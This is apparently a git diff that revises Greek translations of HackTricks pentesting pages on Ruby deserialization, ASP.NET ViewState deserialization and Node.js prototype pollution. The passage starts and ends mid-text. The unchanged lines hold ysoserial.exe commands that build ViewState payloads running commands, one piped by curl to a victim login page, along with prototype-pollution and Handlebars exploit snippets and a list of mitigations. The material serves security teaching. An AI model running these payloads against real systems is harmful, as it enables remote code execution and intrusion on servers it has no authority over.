του unmarshal -- Use CodeQL’s Ruby unsafe deserialization queries για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets -- Validate με δημόσιες multi-format PoCs (JSON/XML/YAML/Marshal) +- Grep για constructors, `hash`, `_load`, `init_with`, ή μεθόδους που προκαλούν παρενέργειες κατά τη διάρκεια του unmarshal +- Χρησιμοποιήστε τα unsafe deserialization queries του CodeQL για Ruby για να ανιχνεύσετε πηγές → sinks και να αναδείξετε gadgets +- Επικυρώστε με δημόσιες multi-format PoCs (JSON/XML/YAML/Marshal) ## References diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index a571b566d..db8747d57 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -6,25 +6,25 @@ ## Τι είναι το ViewState -**ViewState** λειτουργεί ως η προεπιλεγμένη μηχανισμός στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας επαναφοράς (postback) σειριοποιούνται σε συμβολοσειρές κωδικοποιημένες σε base64. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState. +**ViewState** λειτουργεί ως η προεπιλεγμένη μηχανή στο ASP.NET για τη διατήρηση δεδομένων σελίδας και ελέγχου σε διάφορες ιστοσελίδες. Κατά την απόδοση του HTML μιας σελίδας, η τρέχουσα κατάσταση της σελίδας και οι τιμές που πρέπει να διατηρηθούν κατά τη διάρκεια μιας postback σειριοποιούνται σε base64-encoded strings. Αυτές οι συμβολοσειρές τοποθετούνται σε κρυφά πεδία ViewState. Οι πληροφορίες του ViewState μπορούν να χαρακτηριστούν από τις εξής ιδιότητες ή τους συνδυασμούς τους: - **Base64**: -- Αυτός ο μορφή χρησιμοποιείται όταν και οι δύο ιδιότητες `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένες σε false. -- **Base64 + MAC (Κωδικός Αυθεντικοποίησης Μηνύματος) Ενεργοποιημένος**: -- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας την ιδιότητα `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState. -- **Base64 + Κρυπτογραφημένος**: -- Η κρυπτογράφηση εφαρμόζεται όταν η ιδιότητα `ViewStateEncryptionMode` είναι ρυθμισμένη σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων του ViewState. +- Αυτός ο μορφή χρησιμοποιείται όταν και τα δύο χαρακτηριστικά `EnableViewStateMac` και `ViewStateEncryptionMode` είναι ρυθμισμένα σε false. +- **Base64 + MAC (Message Authentication Code) Ενεργοποιημένο**: +- Η ενεργοποίηση του MAC επιτυγχάνεται ρυθμίζοντας το χαρακτηριστικό `EnableViewStateMac` σε true. Αυτό παρέχει επαλήθευση ακεραιότητας για τα δεδομένα του ViewState. +- **Base64 + Κρυπτογραφημένο**: +- Η κρυπτογράφηση εφαρμόζεται όταν το χαρακτηριστικό `ViewStateEncryptionMode` είναι ρυθμισμένο σε true, διασφαλίζοντας την εμπιστευτικότητα των δεδομένων του ViewState. ## Δοκιμαστικές Περιπτώσεις -Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια περίληψη του περιεχομένου: +Η εικόνα είναι ένας πίνακας που περιγράφει διαφορετικές ρυθμίσεις για το ViewState στο ASP.NET με βάση την έκδοση του .NET framework. Ακολουθεί μια σύνοψη του περιεχομένου: 1. Για **οποιαδήποτε έκδοση του .NET**, όταν και οι δύο MAC και Κρυπτογράφηση είναι απενεργοποιημένες, δεν απαιτείται MachineKey, και επομένως δεν υπάρχει εφαρμόσιμη μέθοδος για να το προσδιορίσουμε. -2. Για **εκδόσεις κάτω από 4.5**, εάν ο MAC είναι ενεργοποιημένος αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r." -3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν ο MAC είναι ενεργοποιημένος ή απενεργοποιημένος, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο για το "Blacklist3r - Future Development." -4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε ο ένας είναι true και ο άλλος false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r." +2. Για **εκδόσεις κάτω από 4.5**, εάν το MAC είναι ενεργοποιημένο αλλά η Κρυπτογράφηση δεν είναι, απαιτείται MachineKey. Η μέθοδος για τον προσδιορισμό του MachineKey αναφέρεται ως "Blacklist3r." +3. Για **εκδόσεις κάτω από 4.5**, ανεξαρτήτως αν το MAC είναι ενεργοποιημένο ή απενεργοποιημένο, εάν η Κρυπτογράφηση είναι ενεργοποιημένη, απαιτείται MachineKey. Ο προσδιορισμός του MachineKey είναι έργο του "Blacklist3r - Future Development." +4. Για **εκδόσεις 4.5 και άνω**, όλοι οι συνδυασμοί MAC και Κρυπτογράφησης (είτε και οι δύο είναι true, είτε το ένα είναι true και το άλλο false) απαιτούν MachineKey. Ο MachineKey μπορεί να προσδιοριστεί χρησιμοποιώντας το "Blacklist3r." ### Δοκιμαστική Περίπτωση: 1 – EnableViewStateMac=false και viewStateEncryptionMode=false @@ -50,7 +50,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -Μπορούμε επίσης να το κάνουμε για την **γενική** εφαρμογή ρυθμίζοντάς το στο αρχείο **web.config** όπως φαίνεται παρακάτω: +Μπορούμε επίσης να το κάνουμε για **γενικά** την εφαρμογή ρυθμίζοντάς το στο αρχείο **web.config** όπως φαίνεται παρακάτω: ```xml @@ -61,7 +61,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power ``` -Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, χρειαζόμαστε πρώτα το κλειδί που χρησιμοποιήθηκε. +Καθώς η παράμετρος είναι προστατευμένη με MAC, αυτή τη φορά για να εκτελέσουμε επιτυχώς την επίθεση, πρώτα χρειάζεται το κλειδί που χρησιμοποιήθηκε. Μπορείτε να προσπαθήσετε να χρησιμοποιήσετε [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) για να βρείτε το κλειδί που χρησιμοποιήθηκε. ``` @@ -106,7 +106,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv ```bash --apppath="/" --path="/hello.aspx" ``` -### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true +### Test Case: 3 – .Net < 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true Σε αυτή την περίπτωση δεν είναι γνωστό αν η παράμετρος είναι προστατευμένη με MAC. Τότε, η τιμή είναι πιθανώς κρυπτογραφημένη και θα **χρειαστείτε το Machine Key για να κρυπτογραφήσετε το payload σας** για να εκμεταλλευτείτε την ευπάθεια. @@ -118,7 +118,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv - Αφαιρέστε την παράμετρο `__VIEWSTATEENCRYPTED` από το αίτημα προκειμένου να εκμεταλλευτείτε την ευπάθεια αποσυμπίεσης ViewState, αλλιώς θα επιστρέψει ένα σφάλμα επικύρωσης MAC Viewstate και η εκμετάλλευση θα αποτύχει. -### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false +### Test Case: 4 – .Net >= 4.5 και EnableViewStateMac=true/false και ViewStateEncryptionMode=true/false εκτός αν και οι δύο παράμετροι είναι false Μπορούμε να αναγκάσουμε τη χρήση του πλαισίου ASP.NET καθορίζοντας την παρακάτω παράμετρο μέσα στο αρχείο web.config όπως φαίνεται παρακάτω. ```xml @@ -159,14 +159,14 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In ### Test Case 6 – Χρησιμοποιείται το ViewStateUserKeys -Η ιδιότητα **ViewStateUserKey** μπορεί να χρησιμοποιηθεί για να **αμυνθεί** ενάντια σε μια **επίθεση CSRF**. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το **ViewState** payload με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το **payload δεν θα επεξεργαστεί από την εφαρμογή**.\ +Η ιδιότητα **ViewStateUserKey** μπορεί να χρησιμοποιηθεί για να **αμυνθεί** κατά ενός **CSRF attack**. Αν μια τέτοια κλειδί έχει οριστεί στην εφαρμογή και προσπαθήσουμε να δημιουργήσουμε το **ViewState** payload με τις μεθόδους που συζητήθηκαν μέχρι τώρα, το **payload δεν θα επεξεργαστεί από την εφαρμογή**.\ Πρέπει να χρησιμοποιήσετε μία ακόμη παράμετρο για να δημιουργήσετε σωστά το payload: ```bash --viewstateuserkey="randomstringdefinedintheserver" ``` ### Αποτέλεσμα Μιας Επιτυχούς Εκμετάλλευσης -Για όλες τις περιπτώσεις δοκιμών, αν το payload YSoSerial.Net του ViewState λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να έχει διαφθαρεί**” και λαμβάνουμε το OOB request. +Για όλες τις περιπτώσεις δοκιμών, αν το payload ViewState YSoSerial.Net λειτουργεί **επιτυχώς**, τότε ο διακομιστής απαντά με “**500 Internal server error**” έχοντας περιεχόμενο απάντησης “**Η πληροφορία κατάστασης είναι μη έγκυρη για αυτή τη σελίδα και μπορεί να είναι κατεστραμμένη**” και λαμβάνουμε το OOB request. Ελέγξτε για [περισσότερες πληροφορίες εδώ]() @@ -201,10 +201,10 @@ curl "http://victim/page.aspx?__VIEWSTATE=" ``` Αυτή η **πρωτογενής εξαγωγή κλειδιών** εκμεταλλεύτηκε μαζικά σε τοπικούς διακομιστές SharePoint το 2025 ("ToolShell" – CVE-2025-53770/53771), αλλά είναι εφαρμόσιμη σε οποιαδήποτε εφαρμογή ASP.NET όπου ένας επιτιθέμενος μπορεί να εκτελέσει κώδικα στον διακομιστή. -## Σενάρια Πραγματικής Εκμετάλλευσης 2024-2025 και Σκληρά Κωδικοποιημένα Κλειδιά Μηχανών +## Σενάρια Πραγματικής Εκμετάλλευσης 2024-2025 και Σκληρά Κωδικοποιημένα Κλειδιά Μηχανής -### Κύμα “δημόσια αποκαλυφθέντων κλειδιών μηχανών” της Microsoft (Δεκ 2024 – Φεβ 2025) -Η Microsoft Threat Intelligence ανέφερε μαζική εκμετάλλευση ιστοσελίδων ASP.NET όπου το *machineKey* είχε προηγουμένως διαρρεύσει σε δημόσιες πηγές (GitHub gists, αναρτήσεις ιστολογίων, ιστότοποι paste). Οι αντίπαλοι απαρίθμησαν αυτά τα κλειδιά και δημιούργησαν έγκυρα `__VIEWSTATE` gadgets με τις νεότερες σημαίες `ysoserial.net` 1.41 `--minify` και `--islegacy` για να παρακάμψουν τα όρια μήκους WAF: +### Κύμα “δημόσια αποκαλυφθέντων κλειδιών μηχανής” της Microsoft (Δεκ 2024 – Φεβ 2025) +Η Microsoft Threat Intelligence ανέφερε μαζική εκμετάλλευση ιστότοπων ASP.NET όπου το *machineKey* είχε προηγουμένως διαρρεύσει σε δημόσιες πηγές (GitHub gists, αναρτήσεις ιστολογίων, ιστότοποι paste). Οι αντίπαλοι απαρίθμησαν αυτά τα κλειδιά και δημιούργησαν έγκυρα `__VIEWSTATE` gadgets με τις νεότερες σημαίες `ysoserial.net` 1.41 `--minify` και `--islegacy` για να παρακάμψουν τα όρια μήκους WAF: ```bash ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ --validationkey= --validationalg=SHA1 \ @@ -225,12 +225,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ --decryptionalg=AES --generator=24D41AAB --minify \ | curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx ``` -Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – αναβαθμίστε ή αντικαταστήστε τα κλειδιά άμεσα. {{#ref}} +Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – αναβαθμίστε ή αντικαταστήστε τα κλειδιά άμεσα. - -{{#endref}} - -## Αναφορές +## References - [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) @@ -245,6 +242,4 @@ Fixed in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – αναβα - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) - [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) - - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md index 0c254a632..bd9fd37c0 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md @@ -4,16 +4,16 @@ ## Αντικείμενα στην JavaScript -Τα αντικείμενα στην JavaScript είναι ουσιαστικά συλλογές ζευγών κλειδιού-τιμής, γνωστές ως ιδιότητες. Ένα αντικείμενο μπορεί να δημιουργηθεί χρησιμοποιώντας το `Object.create` με `null` ως επιχείρημα για να παραχθεί ένα κενό αντικείμενο. Αυτή η μέθοδος επιτρέπει τη δημιουργία ενός αντικειμένου χωρίς καμία κληρονομούμενη ιδιότητα. +Τα αντικείμενα στην JavaScript είναι ουσιαστικά συλλογές ζευγών κλειδιού-τιμής, γνωστές ως ιδιότητες. Ένα αντικείμενο μπορεί να δημιουργηθεί χρησιμοποιώντας `Object.create` με `null` ως επιχείρημα για να παραχθεί ένα κενό αντικείμενο. Αυτή η μέθοδος επιτρέπει τη δημιουργία ενός αντικειμένου χωρίς καμία κληρονομούμενη ιδιότητα. ```javascript // Run this in the developers tools console console.log(Object.create(null)) // This will output an empty object. ``` Ένα κενό αντικείμενο είναι παρόμοιο με ένα κενό λεξικό, που αναπαρίσταται ως `{}`. -### Λειτουργίες και Κλάσεις στην JavaScript +### Συναρτήσεις και Κλάσεις στην JavaScript -Στην JavaScript, οι κλάσεις και οι λειτουργίες είναι στενά συνδεδεμένες, με τις λειτουργίες συχνά να χρησιμεύουν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενούς υποστήριξης κλάσεων στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσεων. +Στην JavaScript, οι κλάσεις και οι συναρτήσεις είναι στενά συνδεδεμένες, με τις συναρτήσεις συχνά να λειτουργούν ως κατασκευαστές για κλάσεις. Παρά την έλλειψη εγγενών υποστηρίξεων κλάσης στην JavaScript, οι κατασκευαστές μπορούν να μιμούνται τη συμπεριφορά κλάσης. ```javascript // Run this in the developers tools console @@ -39,9 +39,9 @@ employee1.__proto__ ## Inheritance -Στον προγραμματισμό με βάση τα πρωτότυπα, οι ιδιότητες/μέθοδοι κληρονομούνται από αντικείμενα από κλάσεις. Αυτές οι κλάσεις δημιουργούνται προσθέτοντας ιδιότητες/μεθόδους είτε σε μια παρουσία άλλης κλάσης είτε σε ένα κενό αντικείμενο. +Στον προγραμματισμό βασισμένο σε πρωτότυπα, οι ιδιότητες/μέθοδοι κληρονομούνται από αντικείμενα από κλάσεις. Αυτές οι κλάσεις δημιουργούνται προσθέτοντας ιδιότητες/μεθόδους είτε σε μια παρουσία άλλης κλάσης είτε σε ένα κενό αντικείμενο. -Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως το πρωτότυπο για άλλα αντικείμενα (όπως το `myPersonObj`), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν κληθεί ρητά. +Πρέπει να σημειωθεί ότι όταν μια ιδιότητα προστεθεί σε ένα αντικείμενο που χρησιμεύει ως πρωτότυπο για άλλα αντικείμενα (όπως το `myPersonObj`), τα κληρονομικά αντικείμενα αποκτούν πρόσβαση σε αυτή τη νέα ιδιότητα. Ωστόσο, αυτή η ιδιότητα δεν εμφανίζεται αυτόματα εκτός αν κληθεί ρητά. ## \_\_proto\_\_ pollution @@ -102,7 +102,7 @@ car1.constructor.prototype.isElectric = true Δύο μέθοδοι για να επηρεάσουν παγκοσμίως τα αντικείμενα JavaScript μέσω της ρύπανσης πρωτοτύπου περιλαμβάνουν: -1. Ρύπανση του `Object.prototype` άμεσα: +1. Ρύπανση του `Object.prototype` απευθείας: ```javascript Object.prototype.goodbye = function () { console.log("Goodbye!") @@ -144,7 +144,7 @@ console.log(key1 + "." + key2) ``` ### Ρύπανση στοιχείων πίνακα -Σημειώστε ότι καθώς μπορείτε να ρυπάνετε τις ιδιότητες αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάνετε έναν πίνακα μπορείτε επίσης να **ρυπάνετε τις τιμές του πίνακα** που είναι προσβάσιμες **μέσω δεικτών** (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τιμές, οπότε πρέπει να ρυπάνετε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται). +Σημειώστε ότι καθώς μπορείτε να ρυπάνετε τις ιδιότητες των αντικειμένων σε JS, αν έχετε πρόσβαση για να ρυπάνετε έναν πίνακα μπορείτε επίσης να **ρυπάνετε τις τιμές του πίνακα** που είναι προσβάσιμες **μέσω δεικτών** (σημειώστε ότι δεν μπορείτε να αντικαταστήσετε τιμές, οπότε πρέπει να ρυπάνετε δείκτες που χρησιμοποιούνται με κάποιον τρόπο αλλά δεν γράφονται). ```javascript c = [1, 2] a = [] @@ -197,6 +197,7 @@ customer.__proto__.toString = ()=>{alert("polluted")} ``` ### Proto Pollution to RCE + {{#ref}} prototype-pollution-to-rce.md {{#endref}} @@ -207,48 +208,49 @@ prototype-pollution-to-rce.md ## Client-side prototype pollution to XSS + {{#ref}} client-side-prototype-pollution.md {{#endref}} ### CVE-2019–11358: Επίθεση πρωτοτύπου μέσω jQuery $ .extend -[Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Στο jQuery, η συνάρτηση `$ .extend` μπορεί να οδηγήσει σε ρύπανση πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι λανθασμένα ρυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα: +[Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) Στην jQuery, η συνάρτηση `$ .extend` μπορεί να οδηγήσει σε ρύπανση πρωτοτύπου αν η δυνατότητα βαθιάς αντιγραφής χρησιμοποιηθεί λανθασμένα. Αυτή η συνάρτηση χρησιμοποιείται συνήθως για την κλωνοποίηση αντικειμένων ή τη συγχώνευση ιδιοτήτων από ένα προεπιλεγμένο αντικείμενο. Ωστόσο, όταν είναι λανθασμένα ρυθμισμένη, οι ιδιότητες που προορίζονται για ένα νέο αντικείμενο μπορούν να ανατεθούν στο πρωτότυπο αντί αυτού. Για παράδειγμα: ```javascript $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode) // Outputs: true ``` -Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή εάν οι ιδιότητες όπως το `isAdmin` ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης. +Αυτή η ευπάθεια, που αναγνωρίστηκε ως CVE-2019–11358, δείχνει πώς μια βαθιά αντιγραφή μπορεί να τροποποιήσει κατά λάθος το πρωτότυπο, οδηγώντας σε πιθανούς κινδύνους ασφαλείας, όπως μη εξουσιοδοτημένη πρόσβαση διαχειριστή αν οι ιδιότητες όπως το `isAdmin` ελέγχονται χωρίς κατάλληλη επαλήθευση ύπαρξης. -### CVE-2018–3721, CVE-2019–10744: Επίθεση μόλυνσης πρωτοτύπου μέσω lodash +### CVE-2018–3721, CVE-2019–10744: Επίθεση ρύθμισης πρωτοτύπου μέσω lodash -[Για περισσότερες λεπτομέρειες δείτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) +[Για περισσότερες λεπτομέρειες ελέγξτε αυτό το άρθρο](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) -[Lodash](https://www.npmjs.com/package/lodash) αντιμετώπισε παρόμοιες ευπάθειες μόλυνσης πρωτοτύπου (CVE-2018–3721, CVE-2019–10744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11. +[Lodash](https://www.npmjs.com/package/lodash) αντιμετώπισε παρόμοιες ευπάθειες ρύθμισης πρωτοτύπου (CVE-2018–3721, CVE-2019–10744). Αυτά τα ζητήματα επιλύθηκαν στην έκδοση 4.17.11. ### Ένα άλλο σεμινάριο με CVEs - [https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2](https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2) -### Εργαλεία για την ανίχνευση μόλυνσης πρωτοτύπου +### Εργαλεία για την ανίχνευση ρύθμισης πρωτοτύπου -- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Επέκταση του Burp Suite σχεδιασμένη για την ανίχνευση και ανάλυση ευπαθειών μόλυνσης πρωτοτύπου στον διακομιστή σε διαδικτυακές εφαρμογές. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία σάρωσης αιτημάτων για την αναγνώριση πιθανών ζητημάτων μόλυνσης πρωτοτύπου. Εκμεταλλεύεται γνωστά gadgets - μεθόδους εκμετάλλευσης της μόλυνσης πρωτοτύπου για την εκτέλεση επιβλαβών ενεργειών - εστιάζοντας ιδιαίτερα σε βιβλιοθήκες Node.js. -- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Αυτή η επέκταση αναγνωρίζει ευπάθειες μόλυνσης πρωτοτύπου στον διακομιστή. Χρησιμοποιεί τεχνικές που περιγράφονται στην [μόλυνση πρωτοτύπου στον διακομιστή](https://portswigger.net/research/server-side-prototype-pollution). +- [**Server-Side-Prototype-Pollution-Gadgets-Scanner**](https://github.com/doyensec/Server-Side-Prototype-Pollution-Gadgets-Scanner): Επέκταση του Burp Suite σχεδιασμένη για την ανίχνευση και ανάλυση ευπαθειών ρύθμισης πρωτοτύπου στην πλευρά του διακομιστή σε διαδικτυακές εφαρμογές. Αυτό το εργαλείο αυτοματοποιεί τη διαδικασία σάρωσης αιτημάτων για την αναγνώριση πιθανών ζητημάτων ρύθμισης πρωτοτύπου. Εκμεταλλεύεται γνωστά gadgets - μεθόδους εκμετάλλευσης της ρύθμισης πρωτοτύπου για την εκτέλεση επιβλαβών ενεργειών - εστιάζοντας ιδιαίτερα σε βιβλιοθήκες Node.js. +- [**server-side-prototype-pollution**](https://github.com/portswigger/server-side-prototype-pollution): Αυτή η επέκταση αναγνωρίζει ευπάθειες ρύθμισης πρωτοτύπου στην πλευρά του διακομιστή. Χρησιμοποιεί τεχνικές που περιγράφονται στην [ρύθμιση πρωτοτύπου στην πλευρά του διακομιστή](https://portswigger.net/research/server-side-prototype-pollution). ### AST Prototype Pollution στο NodeJS -Το NodeJS χρησιμοποιεί εκτενώς τα Abstract Syntax Trees (AST) στη JavaScript για λειτουργίες όπως οι μηχανές προτύπων και το TypeScript. Αυτή η ενότητα εξερευνά τις ευπάθειες που σχετίζονται με τη μόλυνση πρωτοτύπου σε μηχανές προτύπων, συγκεκριμένα στις Handlebars και Pug. +Το NodeJS χρησιμοποιεί εκτενώς τα Abstract Syntax Trees (AST) στη JavaScript για λειτουργίες όπως οι μηχανές προτύπων και το TypeScript. Αυτή η ενότητα εξερευνά τις ευπάθειες που σχετίζονται με τη ρύθμιση πρωτοτύπου σε μηχανές προτύπων, συγκεκριμένα στις Handlebars και Pug. #### Ανάλυση Ευπάθειας Handlebars -Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση μόλυνσης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο `javascript-compiler.js`. Η συνάρτηση `appendContent`, για παράδειγμα, συνενώνει το `pendingContent` εάν είναι παρόν, ενώ η συνάρτηση `pushSource` επαναφέρει το `pendingContent` σε `undefined` μετά την προσθήκη της πηγής. +Η μηχανή προτύπων Handlebars είναι ευάλωτη σε επίθεση ρύθμισης πρωτοτύπου. Αυτή η ευπάθεια προκύπτει από συγκεκριμένες συναρτήσεις μέσα στο αρχείο `javascript-compiler.js`. Η συνάρτηση `appendContent`, για παράδειγμα, συνενώνει το `pendingContent` αν είναι παρόν, ενώ η συνάρτηση `pushSource` επαναφέρει το `pendingContent` σε `undefined` μετά την προσθήκη της πηγής. **Διαδικασία Εκμετάλλευσης** Η εκμετάλλευση εκμεταλλεύεται το AST (Abstract Syntax Tree) που παράγεται από τις Handlebars, ακολουθώντας τα εξής βήματα: -1. **Manipulation of the Parser**: Αρχικά, ο αναλυτής, μέσω του κόμβου `NumberLiteral`, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η μόλυνση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών. -2. **Handling by the Compiler**: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Εάν το `input.type` ισούται με `Program`, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί. +1. **Manipulation of the Parser**: Αρχικά, ο αναλυτής, μέσω του κόμβου `NumberLiteral`, επιβάλλει ότι οι τιμές είναι αριθμητικές. Η ρύθμιση πρωτοτύπου μπορεί να παρακάμψει αυτό, επιτρέποντας την εισαγωγή μη αριθμητικών συμβολοσειρών. +2. **Handling by the Compiler**: Ο μεταγλωττιστής μπορεί να επεξεργαστεί ένα αντικείμενο AST ή ένα πρότυπο συμβολοσειράς. Αν το `input.type` ισούται με `Program`, η είσοδος αντιμετωπίζεται ως προ-αναλυμένη, κάτι που μπορεί να εκμεταλλευτεί. 3. **Injection of Code**: Μέσω της χειραγώγησης του `Object.prototype`, μπορεί κανείς να εισάγει αυθαίρετο κώδικα στη συνάρτηση προτύπου, κάτι που μπορεί να οδηγήσει σε απομακρυσμένη εκτέλεση κώδικα. Ένα παράδειγμα που δείχνει την εκμετάλλευση της ευπάθειας Handlebars: @@ -341,8 +343,8 @@ requests.get(TARGET_URL) 3. **Ασφαλείς Συναρτήσεις Συγχώνευσης**: Η μη ασφαλής χρήση αναδρομικών συναρτήσεων συγχώνευσης θα πρέπει να αποφεύγεται. 4. **Αντικείμενα Χωρίς Πρωτότυπα**: Αντικείμενα χωρίς ιδιότητες πρωτοτύπου μπορούν να δημιουργηθούν χρησιμοποιώντας το `Object.create(null)`. 5. **Χρήση Map**: Αντί για το `Object`, θα πρέπει να χρησιμοποιείται το `Map` για την αποθήκευση ζευγών κλειδιού-τιμής. -6. **Ενημερώσεις Βιβλιοθηκών**: Οι διορθώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών. -7. **Εργαλεία Linter και Στατικής Ανάλυσης**: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για να ανιχνεύσετε και να αποτρέψετε ευπάθειες μόλυνσης του πρωτοτύπου. +6. **Ενημερώσεις Βιβλιοθηκών**: Οι ενημερώσεις ασφαλείας μπορούν να ενσωματωθούν με την τακτική ενημέρωση των βιβλιοθηκών. +7. **Εργαλεία Linter και Στατικής Ανάλυσης**: Χρησιμοποιήστε εργαλεία όπως το ESLint με κατάλληλα πρόσθετα για την ανίχνευση και πρόληψη ευπαθειών μόλυνσης του πρωτοτύπου. 8. **Ανασκοπήσεις 